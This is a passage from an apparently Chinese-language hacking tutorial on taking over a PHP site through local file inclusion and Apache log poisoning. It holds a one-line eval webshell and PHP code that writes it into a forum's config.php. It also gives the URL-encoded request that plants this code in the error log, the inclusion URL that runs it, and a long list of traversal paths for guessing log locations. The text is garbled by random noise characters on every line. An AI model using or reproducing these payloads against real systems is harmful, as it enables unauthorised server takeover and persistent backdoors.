因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。 $ z$ l: r+ Z4 J9 p
( q H/ k2 a% v8 d0 [
比如还是这句一句话木马
3 i" ~' w) G' L. H: T7 V9 \<?eval($_POST[cmd]);?> & y" |( z2 B% s# r+ u/ J" Y
$ O# a# l/ {: e, m
到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
& n- `0 N: M0 L+ G, o2 t, Zfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
: ^6 B3 Z2 Q2 ]. q
2 f0 {$ B4 ^3 b# x; G% H<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
9 ]. h4 |9 C8 f. R% r+ s: V7 pfclose($fp);?> //在config.php里写入一句木马语句 - {1 s$ W4 f# z3 ~
/ p/ Y* x4 I% d) s2 t我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
( y: r8 C8 l2 E/ D: w转换为
3 ? u/ G& w" n& Y6 f! A$ Z! Q%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
% h) e8 j3 L( ~1 S1 a1 U! ]7 q, L E9 A+ jconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
8 G/ ]( n4 p' @8 B- D& n7 j%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
2 J+ w+ U3 ~% K& z5 ^& a; A ~8 gfclose%28%24fp%29%3B%3F%3E , }( a; X! H2 @7 C3 W8 ^# a9 l1 o
我们提交
; u$ D) R9 @$ Y) P; Uhttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww $ F$ q" z! t Q: R$ g2 l$ o r( g* r
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp ( c% [& B" Y7 l' q. T
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
6 G4 _' [0 Y( y8 ^5 Ycmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E + n* K/ p% d, Q0 ~/ L6 M( O
$ d, s% [9 A0 F. s) [) D
这样就错误日志里就记录下了这行写入webshell的代码。 - E0 O/ P# w! t# Y
我们再来包含日志,提交 5 L: `( m8 I4 H5 r- I
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log 1 q X$ t) [8 Q9 `4 u- X$ U
. q: O$ `, D- b$ d4 G/ H这样webshell就写入成功了,config.php里就写入一句木马语句
9 Q" e0 q( ^0 G- S2 JOK.
3 S- K! R5 g, l5 ?http://www.xxx.com/forum/config.php这个就成了我们的webshell
5 B, D0 P2 m! u' K+ n3 w直接用lanker的客户端一连,主机就是你的了。
# f0 W" W) D o* b/ F7 _. `/ _0 j$ ^
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
) Q) B1 U- [9 a. ^4 X m; u$ A3 Z. }( v: k4 {+ m" W. z: G- J
其他的日志路径,你可以去猜,也可以参照这里。
. R" N& | p) `; A0 M../../../../../../../../../../var/log/httpd/access_log
) n, M% o6 x2 Q/ G../../../../../../../../../../var/log/httpd/error_log
0 J4 M' Z, F$ |& w../apache/logs/error.log
. u3 Z e7 l+ ?* W7 d: F2 v8 J7 a../apache/logs/access.log 2 c; t$ ^7 _3 b
../../apache/logs/error.log m6 H- r$ Z6 P; j) x' A
../../apache/logs/access.log $ h4 s! `; w9 u! T" c7 F) I/ j
../../../apache/logs/error.log
- P$ Y+ `6 w1 T, j/ U! W$ ]2 H../../../apache/logs/access.log $ B8 Q f1 c7 D6 i9 t6 n
../../../../../../../../../../etc/httpd/logs/acces_log 6 ^' y3 D4 J+ o9 u
../../../../../../../../../../etc/httpd/logs/acces.log
; _& |6 U2 c- c6 z% ^) }, ~" W. K Q../../../../../../../../../../etc/httpd/logs/error_log
8 |9 Q" b: v# }/ |../../../../../../../../../../etc/httpd/logs/error.log
! _# K6 X! l: O$ D; |../../../../../../../../../../var/www/logs/access_log
- \" \. B+ x" }8 o2 `* T2 `* H../../../../../../../../../../var/www/logs/access.log , @3 m) \/ {/ |' u L9 _ `/ B4 w
../../../../../../../../../../usr/local/apache/logs/access_log
4 ^: h1 _1 R5 y../../../../../../../../../../usr/local/apache/logs/access.log / C% V9 T! e) [0 p' @
../../../../../../../../../../var/log/apache/access_log
3 z: C- r" k! B% ^' [, n3 A4 u9 L../../../../../../../../../../var/log/apache/access.log 0 N3 Q, }7 g5 V6 u4 R7 m% }& J& c
../../../../../../../../../../var/log/access_log
- |* x8 @6 e. S& V$ \../../../../../../../../../../var/www/logs/error_log
7 q9 H" D/ T9 V5 k+ f+ e1 B, V- {../../../../../../../../../../var/www/logs/error.log 3 D- i% t3 V% n
../../../../../../../../../../usr/local/apache/logs/error_log 3 Z/ c7 l( K- u( }) Z2 s
../../../../../../../../../../usr/local/apache/logs/error.log 0 ^. }" B. Q) J' }0 J) R% i/ N
../../../../../../../../../../var/log/apache/error_log " Q3 [2 v) I% y2 f
../../../../../../../../../../var/log/apache/error.log
8 l: f, i3 `0 D$ p../../../../../../../../../../var/log/access_log
6 Y: X9 x& G8 Y2 |+ @3 B# `../../../../../../../../../../var/log/error_log
$ N6 z; ~# h5 k, R; P6 z! N/ Q5 h/var/log/httpd/access_log 8 n( d2 v+ L x7 g
/var/log/httpd/error_log # q$ ]+ J& ?( T6 q
../apache/logs/error.log
2 B) E0 ?) _( Y$ d" y) R" p../apache/logs/access.log
" G# D3 ~# A* A8 b4 w, m5 ]3 W../../apache/logs/error.log 6 A& D7 D" V+ Z
../../apache/logs/access.log
" A& l' L: s5 D" }../../../apache/logs/error.log
& w% q- ?0 K/ T7 t# m) Q../../../apache/logs/access.log 5 ~8 j# t+ \$ a
/etc/httpd/logs/acces_log . ]6 Z2 H1 Z# A$ A, A* S) f
/etc/httpd/logs/acces.log
: [1 y! m# v* F- m/etc/httpd/logs/error_log
) u' I5 a0 v' i4 b/etc/httpd/logs/error.log
( H w( s |" i& n/var/www/logs/access_log l2 B$ m- y! M4 L, \1 Z* ~) }
/var/www/logs/access.log : b' u9 X% `3 W- O; d$ t
/usr/local/apache/logs/access_log ' H9 Z+ Y" D% E( J8 z
/usr/local/apache/logs/access.log & l- T8 q, k* U1 ~
/var/log/apache/access_log
- v, P0 s2 L, {$ S/var/log/apache/access.log 7 Y: `6 ]/ l) K/ \
/var/log/access_log ) a* S$ U% x2 ?, h1 c
/var/www/logs/error_log 4 Z, ?; }* }: n6 o$ r( {
/var/www/logs/error.log
& {: M9 _8 r7 M& N& a+ b: j9 z/usr/local/apache/logs/error_log
0 \4 `3 [6 w/ K" w2 q/usr/local/apache/logs/error.log 5 X. b" t8 ^9 U* \
/var/log/apache/error_log % K8 M8 a4 z/ M& v9 c# E5 b
/var/log/apache/error.log
4 f( O- r7 V: ~& ^/var/log/access_log 5 f3 h m" F. c* ^" ]2 D4 z" V+ b
/var/log/error_log |